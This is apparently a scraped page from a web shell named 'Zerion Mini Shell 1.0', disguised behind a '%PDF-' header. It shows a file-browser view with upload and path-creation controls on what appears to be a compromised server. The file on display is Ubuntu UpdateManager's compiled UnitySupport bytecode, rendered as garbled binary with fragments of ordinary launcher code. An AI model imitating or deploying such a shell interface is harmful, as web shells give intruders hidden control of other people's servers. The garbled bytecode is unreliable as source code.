%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/UpdateManager/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/UpdateManager/__pycache__/UnitySupport.cpython-312.pyc

�

QKfd
���ddlZddlmZdZ	ddlZej
dd�ej
dd�ddlmZmZd	ZGd�de
�ZGd
�de�ZereZyeZy#e	e
f$rZejd
ez�YdZ[�?dZ[wwxYw)�N)�gettextF�Dbusmenuz0.4�Unityz7.0)rrTzcan not import unity GI %sc�*�eZdZdZdd�Zd�Zd�Zd�Zy)�
IUnitySupportzinterface for unity supportNc��y�N�)�self�parents  �</usr/lib/python3/dist-packages/UpdateManager/UnitySupport.py�__init__zIUnitySupport.__init__+����c��yr	r
�r�urgents  r
�set_urgencyzIUnitySupport.set_urgency.rrc��yr	r
�r�visibles  r
�set_install_menuitem_visiblez*IUnitySupport.set_install_menuitem_visible1rrc��yr	r
�r�progresss  r
�set_progresszIUnitySupport.set_progress4rrr	)�__name__�
__module__�__qualname__�__doc__rrrrr
rr
rr(s��%�
�
�
�
rrc�0�eZdZdZdd�Zd�Zd�Zd�Zd�Zy)	�UnitySupportImplz7implementation of unity support (if unity is available)Nc�x�tjjd�}||_|r|j	|�yy)Nzupdate-manager.desktop)r�
LauncherEntry�get_for_desktop_id�_unity�_add_quicklist)rr�um_launcher_entrys   r
rzUnitySupportImpl.__init__;s;��!�/�/�B�B�$�
��(��������'�rc��tjj�}tjj�|_|jj	tj
t
d��|jjtjd�|jjd|jd�|j|j�|jjd|�y)NzInstall All Available UpdatesTzitem-activated�	quicklist)r�Menuitem�new�install_dbusmenuitem�property_set�MENUITEM_PROP_LABEL�_�property_set_bool�MENUITEM_PROP_VISIBLE�connect�install_all_updates�child_appendr&�set_property)rrr*s   r
r'zUnitySupportImpl._add_quicklistDs����%�%�)�)�+�	�$,�$5�$5�$9�$9�$;��!��!�!�.�.��(�(�!�,K�*L�	
�	
�!�!�3�3��*�*�D�	
�	
�!�!�)�)��f�8�8�$�	
�	���t�8�8�9���� � ��i�8rc���|jjd|dz�|dks|dkDr|jjdd�y|jjdd�y)	zset the progress [0,100]rgY@r�d�progress_visibleFTN�r&r6rs  r
rzUnitySupportImpl.set_progressUsR����� � ��X��-=�>��a�<�8�c�>��K�K�$�$�%7��?��K�K�$�$�%7��>rc�<�|jjd|�y)Nrr:rs  r
rzUnitySupportImpl.set_urgency^s����� � ��6�2rc�X�|jjtj|�yr	)r-r1rr2rs  r
rz-UnitySupportImpl.set_install_menuitem_visibleas!���!�!�3�3��*�*�G�	
rr	)	rrrr rr'rrrr
rr
r"r"8s��A�(�9�"?�3�
rr")�loggingrr0�HAVE_UNITY_SUPPORT�gi�require_version�
gi.repositoryrr�
ValueError�ImportError�e�warning�objectrr"�UnitySupportr
rr
�<module>rHs���0� ���	6�
��B���z�5�)��B���w��&�-���


�F�

� ,
�}�,
�`�#�L�!�L��Q	�K� �6��G�O�O�0�1�4�5�5��6�s�4A � B�'B�B

Zerion Mini Shell 1.0